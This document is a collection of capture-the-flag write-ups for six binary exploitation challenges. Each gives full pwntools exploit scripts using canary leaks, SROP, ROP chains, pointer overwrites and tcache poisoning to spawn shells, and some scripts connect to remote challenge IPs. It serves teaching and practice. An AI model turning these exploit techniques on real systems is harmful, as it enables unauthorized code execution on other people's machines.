Name: Quack-Quack
Category: Binary Exploitation
Difficulty: Very Easy


In this challenge, we are given a binary, and our goal is to exploit a buffer overflow vulnerability to execute the duck_attack() function and retrieve the flag.

Initial Analysis

Checksec Findings
checksec --file=quack_quack

Security Features

  • No PIE (Position Independent Executable): This means addresses remain fixed, making it easier to exploit.
  • Stack Canary enabled : We need to bypass it before modifying the return address.
  • NX is enabled: We can't execute shellcode in writable memory, so we need to use a return-to-function exploit.
RELRO           STACK CANARY      NX            PIE             
Full RELRO      Canary found      NX enabled    No PIE

Disassembly Analysis:

read(0, buf, 0x66uLL);
  • The first read() reads 102 bytes (0x66) into buf, but buf is only 4x8 = 32 bytes long. This means we can overflow into the canary.
  • The input is checked for the substring "Quack Quack ".
  • The correct input is printed back, leaking the stack canary.

Exploitation Plan:

  1. Leak the canary using the first read().
  2. Overflow into the return address in the second read().
  3. Redirect execution to duck_attack(), which gives us the flag.

Exploit Development

Step 1: Leak the Canary

payload1 = b"A"*89  # Overwrite up to canary
payload1 += b"Quack Quack "  # Trigger correct input check

Step 2: Overwrite the Return Address

payload2 = b"B"*88  # Fill buffer up to canary
payload2 += p64(canary)  # Insert correct canary value
payload2 += b"B"*8  # Overwrite saved RBP
payload2 += b"\x7f\x13"  # Address of duck_attack()
This ensures we:
  • Preserve the canary (to avoid crashing).
  • Overwrite the return address to duck_attack().

Step 3: Send Payload

io.sendline(payload2)
io.interactive()

Complete Exploit:

from pwn import *
io = process("quack_quack")

# Leak Canary
payload1 = b"A"*89
payload1 += b"Quack Quack "
io.recvuntil(b">")
io.sendline(payload1)
canary = int.from_bytes(b'\x00' + io.recvuntil(b">")[13:20], 'little')

# Construct second payload
payload2 = b"B"*88
payload2 += p64(canary)
payload2 += b"B"*8
payload2 += b"\x7f\x13"  # Address of duck_attack()

# Send final payload
io.sendline(payload2)
io.interactive()
Name: Blessing
Category: Binary Exploitation
Difficulty: Very Easy


In this challenge, we are given a binary that interacts with a Bard who provides a **memory leak** and allows us to **write past an allocated buffer**. The goal is to use an **off-by-one write** to set a heap-allocated pointer to `0`, bypass a conditional check, and call `read_flag()` to retrieve the flag.

Vulnerability Analysis

Relevant Code Snippet
  v6 = malloc(0x30000uLL);
  *v6 = 1LL;
  printf("%p", v6); // Leaks the allocated pointer
  
  printf("Give me the song's length: ");
  __isoc99_scanf("%lu", &size);
  buf = malloc(size);
  read(0, buf, size);
  *(_QWORD *)((char *)buf + size - 1) = 0LL;

  if (*v6)
    printf("Your song was not as good as expected...\n");
  else
    read_flag();

Exploitation Plan:

  1. Leak a Heap Address: The program prints the pointer allocated with `malloc(0x30000)`, revealing its address.
  2. Control the Overwrite: The buffer allows an off-by-one write at `buf + size - 1`.
  3. Overwrite `v6`: Carefully set `size` such that `buf + size - 1` lands on `v6`.
  4. Trigger `read_flag()`: Setting `*v6 = 0` bypasses the check and calls `read_flag()`.

Exploit Proof

blessing
Name: Laconic
Category: Binary Exploitation
Difficulty: Easy


In this challenge, we analyze a binary with a **stack buffer overflow** vulnerability. Our goal is to exploit the lack of **stack protections**, leverage **Sigreturn Oriented Programming (SROP)**, and execute **execve("/bin/sh")** to gain a shell.

Initial Analysis

Checksec Findings
checksec --file=laconic

Security Features

  • No PIE: The binary loads at a fixed address.
  • No Stack Canary: No protection against buffer overflows.
  • NX Disabled: We can execute shellcode on the stack.
  • No RELRO: The GOT is writable.
RELRO        STACK CANARY      NX       PIE    
No RELRO     No Canary        NX Disabled   No PIE

Exploitation Plan:

  1. Trigger Stack Buffer Overflow: Overflow the buffer to gain control over execution.
  2. Utilize SROP Technique: Use the **pop rax** gadget to set up a fake sigreturn frame.
  3. Execute execve("/bin/sh"): Modify registers to execute a system shell.

Exploit Development

Step 1: Locate Useful Gadgets

pop_rax = 0x0000000000043018  # Pop value into RAX
syscall = 0x0000000000043015  # Syscall instruction

Step 2: Construct Sigreturn Frame

frame = SigreturnFrame()
frame.rax = 59  # execve syscall
frame.rdi = bin_sh  # Pointer to /bin/sh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall

Step 3: Send Exploit Payload

payload = b'A'*8 + pack(pop_rax) + pack(15) + pack(syscall) + bytes(frame)
io.sendline(payload)

Complete Exploit:

#!/usr/bin/env python3
from pwn import *

elf = context.binary = ELF('./laconic')
pop_rax = 0x0000000000043018
syscall = 0x0000000000043015
bin_sh = 0x43238

# io = process()  # Local testing
io = connect('94.237.63.32', 37995)  # Remote connection

frame = SigreturnFrame()
frame.rax = 59  # execve syscall
frame.rdi = bin_sh  # Address of '/bin/sh'
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall  # Call syscall instruction

payload = b'A'*8 + pack(pop_rax) + pack(15) + pack(syscall) + bytes(frame)
print(hex(len(payload)))

io.sendline(payload)
io.interactive()
Name: Crossbow
Category: Binary Exploitation
Difficulty: Easy


In this challenge, we analyze an integer overflow vulnerability that enables memory overwriting, leading to stack pivoting and arbitrary code execution.

Security Mitigations

Checksec Findings
RELRO           STACK CANARY      NX           PIE 
Partial RELRO   Canary found    NX enabled    No PIE

Security Features

  • No PIE: Fixed address space, making ROP easier.
  • NX Enabled: Prevents direct shellcode execution, requiring ROP.
  • Stack Canary Found: Protection against stack smashing, bypassed via integer overflow.
  • Partial RELRO: GOT overwrite is possible but unnecessary for this exploit.

Vulnerability Analysis

if ( (unsigned int)scanf((unsigned int)"%d%*c", (unsigned int)&v18, v6, v7, v8, v9) != 1 )
  • v18 is a signed integer, and no check is performed for negative values.
  • Providing a negative index allows memory access outside the intended array.
  • Next, the program executes:
v12 = (_QWORD *)(8LL * v18 + a1);
*v12 = calloc(1LL, 128LL);
  • With a negative v18, unintended memory regions can be overwritten, including the return pointer.

Exploitation Plan

  1. Pass -2 as input to overwrite memory where the return address is stored.
  2. Trigger stack pivoting, redirecting execution flow to controlled heap memory.
  3. Use a ROP chain to execute a syscall and spawn a shell.

Exploit Explanation

  • We send -2 as input, allowing us to overwrite a pointer on the stack.
  • Execution shifts to our calloc region after function epilogues.
  • Using ROP, we first write "/bin/bash" into writable memory.
  • Next, we execute the execve syscall (syscall 0x3b) to spawn a shell.
  • Finally, we interact with the shell.
<

Complete Exploit:

from pwn import *

# Connect to remote or local process
# io = remote("94.237.58.215", 40276)
io = process("./challenge/crossbow")

# Send the negative index to trigger stack pivoting
io.sendline(b"-2")

# Build ROP chain
stack = p64(0xdeadbeef)  # Padding
stack += p64(0x0000000000401d6c) # pop rdi; ret
stack += p64(0)  # Null out rdi

stack += p64(0x0000000000401139) # pop rdx; ret
stack += p64(0x40d000)  # Writable memory
stack += p64(0x4017c4) # xor rax, rax; ret
stack += p64(0x0000000000404b4f) # syscall

# Spawn a shell
stack += p64(0x0000000000401d6c) # pop rdi; ret
stack += p64(0x40d000)  # Pointer to "/bin/bash"
stack += p64(0x0000000000401139) # pop rdx; ret
stack += p64(0x40d010)  # Null pointer for argv
stack += p64(0x0000000000401001) # pop rax; ret
stack += p64(0x3b)  # execve syscall number
stack += p64(0x000000000040566b) # pop rsi; ret
stack += p64(0x40d010)  # Null pointer for envp
stack += b'QK@\x00\x00\x00\x00\x00'  # syscall

# Send payload
io.send(stack)
io.sendline(b"/bin/bash\x00\x00\x00\x00\x00\x00\x00" + p64(0x40d000) + b"\x00"*50)

# Interact with the shell
io.interactive()
Name: Contractor
Category: Binary Exploitation
Difficulty: Medium


This challenge presents a binary vulnerable to **stack-based buffer overflow**. The objective is to exploit an **out-of-bounds write** to modify a function pointer and hijack execution flow to gain a shell.

Initial Analysis

Checksec Findings
checksec --file=contractor

Security Features

  • Full RELRO: No GOT overwrite possible.
  • Canary Found: Stack protection is enabled.
  • NX enabled: No shellcode execution on the stack.
  • PIE enabled: ASLR is in place.
RELRO           STACK CANARY      NX            PIE             
Full RELRO      Canary found      NX enabled    PIE enabled

Exploitation Plan:

  1. Leak Binary Address: Overflow "reason to join" to retrieve a stack leak.
  2. Modify Specialty Pointer: Overflow "specialty" input to redirect execution.
  3. Hijack Execution Flow: Redirect execution to `contract()` to spawn a shell.
  4. Brute-force Execution: Since ASLR is enabled, multiple attempts improve success rate.

Exploit Development

Step 1: Leak Binary Address

io.sendline(b"N" * 0xF)  # Fill name input
io.sendline(b"R" * 0xff)  # Overflow "reason to join" to leak stack address

Step 2: Modify Specialty Pointer

payload = b"\xe8" * 24  # Overflow buffer
payload += p64(0x1)  # Padding
payload += b"\xef"  # Overwrite return address
payload += p64(contract_leak)  # Redirect execution

Step 3: Trigger Execution

io.sendline(payload)
io.sendline(b"Yes")  # Confirm input

Complete Exploit:

from pwn import *

while True:
    io = process("./contractor")
    io.sendline(b"N" * 0xF)  # Fill name input
    io.sendline(b"R" * 0xff)  # Overflow reason input to leak stack address
    io.sendline(b"1" * 8)  # Set age input
    io.sendline(b"S" * 0x10)  # Specialty input

    # Leak binary address from stack
    junk = io.recvuntil(b"SSSSSSSSSSSSSSSS")
    contract_leak = int.from_bytes(io.recv(6), 'little') - 2061

    io.sendline(b"4")  # Modify specialty option

    # Craft payload to overwrite specialty pointer
    payload = b"\xe8" * 24  # Overflow buffer
    payload += p64(0x1)  # Padding
    payload += b"\xef"  # Overwrite return address last byte
    payload += p64(contract_leak)  # Redirect to contract() function
    io.sendline(payload)

    io.sendline(b"Yes")  # Confirm input
    io.sendline(b"cat flag.txt")  # Get flag
    io.interactive()
Name: Strategist
Category: Binary Exploitation
Difficulty: Medium


In this challenge, we are given a binary with heap-based vulnerabilities. The goal is to exploit an **off-by-one** vulnerability to perform **tcache poisoning**, leak a **libc address**, and ultimately gain a shell.

Initial Analysis

Checksec Findings
checksec --file=strategist

Security Features

  • PIE enabled: ASLR is in place, so we need an information leak.
  • NX enabled: We cannot execute shellcode on the stack.
  • Partial RELRO: Some GOT entries might be writable.
RELRO           STACK CANARY      NX            PIE             
Partial RELRO   No Canary        NX enabled    PIE enabled

Exploitation Plan:

  1. Trigger an Off-by-One Bug: Use `edit_plan()` to overwrite heap metadata.
  2. Leak a Libc Address: Free a chunk into the **unsorted bin** and read its metadata.
  3. Perform Tcache Poisoning: Corrupt the tcache freelist to allocate memory at controlled addresses.
  4. Hijack Execution Flow: Use **ROP (Return-Oriented Programming)** to execute `system("/bin/sh")`.

Exploit Development

Step 1: Allocate and Free Chunks

create(r, 24, b'A' * 23)  # Chunk A
create(r, 24, b'B' * 23)  # Chunk B
create(r, 0x50, b'C' * 24)  # Chunk C
create(r, 0x50, b'/bin/sh\x00')  # Chunk D

Step 2: Corrupt Heap Metadata

edit(r, 1, b'B' * 24 + p8(0xc1))  # Overwrite next chunk's size

Step 3: Leak a Libc Address

delete(r, 2)
leaked = create(r, 80, b'')
libc_base = u64(leaked.ljust(8, b'\x00')) - libc.symbols['main_arena']
print(f"Libc base: {hex(libc_base)}")

Step 4: Tcache Poisoning & ROP

# Use tcache poisoning to hijack execution and gain shell

Complete Exploit:

#!/usr/bin/env python3

from pwn import *

exe = ELF("strategist")
libc = ELF("glibc/libc.so.6")
ld = ELF("glibc/ld-linux-x86-64.so.2")
context.binary = exe
idx = 1

def create(r,size,data):
    global idx
    r.recvuntil(b'> ')
    r.sendline(b'1')
    r.recvuntil(b'> ')
    r.sendline(str(size).encode())
    r.recvuntil(b'> ')
    r.sendline(data)
    idx = idx+1
    return idx-1
def show(r,idx):
    r.recvuntil(b'> ')
    r.sendline(b'2')
    r.recvuntil(b'> ')
    r.sendline(str(idx).encode())
    r.recvuntil(b'Plan [')
    leaks = r.recvline().strip()
    idx = int(leaks.split(b']')[0])
    print(idx)
    return idx
def edit(r,idx,data):
    r.recvuntil(b'> ')
    r.sendline(b'3')
    r.recvuntil(b'> ')
    r.sendline(str(idx).encode())
    r.recvuntil(b'> ')
    r.send(data)
def delete(r,idx):
    r.recvuntil(b'> ')
    r.sendline(b'4')
    r.recvuntil(b'> ')
    r.sendline(str(idx).encode())

def main():
    r = process("./strategist")
    sleep(1)
    ChunkA = create(r,24,b'A'*23)
    ChunkB = create(r,24,b'B'*23)
    ChunkC = create(r,0x50,b'C'*24)
    ChunkD = create(r,0x50,b'/bin/sh\x00')
    chunkE = create(r,24,b'E'*23)
    
    edit(r,1,b'B'*24+p8(0xc1))

    for i in range(7):
        create(r,0xb0,b'tcache')
    
    for i in range(11,4,-1):
         delete(r,i)
   
    delete(r,2)
    leaked = create(r,80,b'') #2
    leaked = show(r,2)
    leak_libc = u64(r.recvline().strip().ljust(8,b'\0')) << 8
    print(hex(leak_libc))
    libc.address = leak_libc - 0x3ebd00
    print(hex(libc.address))

    create(r,48,b'/bin/sh\x00')
    create(r,24,b'f'*23)
    #edit(r,4,b'f'*24+p64())
    
    delete(r,4)
    delete(r,6)
    create(r,24,b'T'*23)
    
    create(r,24,b'gggggggg')
    edit(r,4,b'T'*24+p8(0x51))
    
    delete(r,6)
    create(r,60,b'8'*24+p64(0xc1)+p64(libc.sym.__free_hook))
    create(r,0xb0,p64(libc.sym.system))
    create(r,0xb0,p64(libc.sym.system))
    delete(r,3)
    #gdb.attach(r)
    r.interactive()

main()